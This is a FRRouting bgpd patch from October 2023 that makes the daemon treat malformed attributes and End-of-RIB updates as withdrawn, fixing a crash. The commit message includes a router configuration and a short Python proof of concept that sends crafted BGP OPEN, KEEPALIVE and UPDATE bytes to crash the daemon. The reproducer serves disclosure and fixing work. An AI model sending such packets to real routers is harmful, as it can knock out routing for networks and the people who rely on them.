You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
106 lines
3.4 KiB
106 lines
3.4 KiB
From 6814f2e0138a6ea5e1f83bdd9085d9a77999900b Mon Sep 17 00:00:00 2001
|
|
From: Donatas Abraitis <donatas@opensourcerouting.org>
|
|
Date: Fri, 27 Oct 2023 11:56:45 +0300
|
|
Subject: [PATCH] bgpd: Treat EOR as withdrawn to avoid unwanted handling of
|
|
malformed attrs
|
|
|
|
Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be
|
|
processed as a normal UPDATE without mandatory attributes, that could lead
|
|
to harmful behavior. In this case, a crash for route-maps with the configuration
|
|
such as:
|
|
|
|
```
|
|
router bgp 65001
|
|
no bgp ebgp-requires-policy
|
|
neighbor 127.0.0.1 remote-as external
|
|
neighbor 127.0.0.1 passive
|
|
neighbor 127.0.0.1 ebgp-multihop
|
|
neighbor 127.0.0.1 disable-connected-check
|
|
neighbor 127.0.0.1 update-source 127.0.0.2
|
|
neighbor 127.0.0.1 timers 3 90
|
|
neighbor 127.0.0.1 timers connect 1
|
|
!
|
|
address-family ipv4 unicast
|
|
neighbor 127.0.0.1 addpath-tx-all-paths
|
|
neighbor 127.0.0.1 default-originate
|
|
neighbor 127.0.0.1 route-map RM_IN in
|
|
exit-address-family
|
|
exit
|
|
!
|
|
route-map RM_IN permit 10
|
|
set as-path prepend 200
|
|
exit
|
|
```
|
|
|
|
Send a malformed optional transitive attribute:
|
|
|
|
```
|
|
import socket
|
|
import time
|
|
|
|
OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
|
|
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
|
|
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
|
|
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
|
|
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
|
|
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
|
|
b"\x80\x00\x00\x00")
|
|
|
|
KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
|
|
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")
|
|
|
|
UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b")
|
|
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.connect(('127.0.0.2', 179))
|
|
s.send(OPEN)
|
|
data = s.recv(1024)
|
|
s.send(KEEPALIVE)
|
|
data = s.recv(1024)
|
|
s.send(UPDATE)
|
|
data = s.recv(1024)
|
|
time.sleep(100)
|
|
s.close()
|
|
```
|
|
|
|
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
|
|
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
|
|
---
|
|
bgpd/bgp_attr.c | 15 ++++++++++++---
|
|
1 file changed, 12 insertions(+), 3 deletions(-)
|
|
|
|
diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
|
|
index cf2dbe65b805..1473dc772502 100644
|
|
--- a/bgpd/bgp_attr.c
|
|
+++ b/bgpd/bgp_attr.c
|
|
@@ -3391,9 +3391,12 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr,
|
|
uint8_t type = 0;
|
|
|
|
/* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an
|
|
- * empty UPDATE. */
|
|
+ * empty UPDATE. Treat-as-withdraw, otherwise if we just ignore it,
|
|
+ * we will pass it to be processed as a normal UPDATE without mandatory
|
|
+ * attributes, that could lead to harmful behavior.
|
|
+ */
|
|
if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag)
|
|
- return BGP_ATTR_PARSE_PROCEED;
|
|
+ return BGP_ATTR_PARSE_WITHDRAW;
|
|
|
|
if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_ORIGIN)))
|
|
type = BGP_ATTR_ORIGIN;
|
|
@@ -3273,7 +3276,13 @@ done:
|
|
aspath_unintern(&as4_path);
|
|
}
|
|
|
|
- if (ret != BGP_ATTR_PARSE_ERROR) {
|
|
+ /* If we received an UPDATE with mandatory attributes, then
|
|
+ * the unrecognized transitive optional attribute of that
|
|
+ * path MUST be passed. Otherwise, it's an error, and from
|
|
+ * security perspective it might be very harmful if we continue
|
|
+ * here with the unrecognized attributes.
|
|
+ */
|
|
+ if (ret == BGP_ATTR_PARSE_PROCEED) {
|
|
/* Finally intern unknown attribute. */
|
|
if (attr->transit)
|
|
attr->transit = transit_intern(attr->transit);
|